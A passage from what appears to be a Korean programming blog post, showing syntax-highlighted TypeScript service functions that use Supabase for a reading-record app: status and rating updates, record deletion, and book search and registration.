      start_date&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; status &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;reading&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Date&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toISOString&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;select&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;*, book:books(*)&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;single&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;error&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;throw&lt;/span&gt; error
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; data
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// 독서 상태 변경&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;updateRecordStatus&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
  recordId&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  status&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; ReadingStatus
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; updateData&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Record&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;unknown&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; status &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;status &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;reading&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    updateData&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;start_date &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Date&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toISOString&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;status &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;finished&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    updateData&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;end_date &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Date&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toISOString&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; data&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; error &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; supabase
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;reading_records&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;update&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;updateData&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;eq&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; recordId&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;select&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;*, book:books(*)&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;single&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;error&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;throw&lt;/span&gt; error
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; data
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// 별점 등록&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;updateRating&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;recordId&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rating&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; data&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; error &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; supabase
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;reading_records&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;update&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; rating &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;eq&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; recordId&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;select&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;single&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;error&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;throw&lt;/span&gt; error
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; data
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// 독서 기록 삭제&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;deleteRecord&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;recordId&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; error &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; supabase
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;reading_records&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;delete&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;eq&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; recordId&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;error&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;throw&lt;/span&gt; error
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;책 검색 및 등록 서비스&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/services/books.ts&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; createClient &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@/lib/supabase&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; supabase &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;createClient&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// 알라딘 API로 ISBN 검색 (서버사이드)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;searchBookByISBN&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;isbn&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; response &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;/api/books/search?isbn=&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;isbn&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;response&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ok&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;책을 찾을 수 없습니다&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; response&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// 제목으로 책 검색 (DB)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;searchBooks&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;query&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; data&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; error &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; supabase
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;books&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;select&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;*&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;or&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;title.ilike.%&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;query&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;%,author.ilike.%&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;query&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;limit&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;error&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;throw&lt;/span&gt; error
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; data &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// 책 등록 (DB에 없는 경우)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;registerBook&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;book&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  isbn&lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;
  title&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;
  author&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;
  publisher&lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;
  cover_image_url&lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;
  page_count&lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;number&lt;/span&gt;
  description&lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;// ISBN으로 중복 체크&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;book&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;isbn&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; data&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; existing &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; supabase
      &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;books&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;select&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;eq&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;isbn&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; book&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;isbn&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;single&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;existing&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; existing
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; data&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; error &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; supabase
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;books&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;book&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;select&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
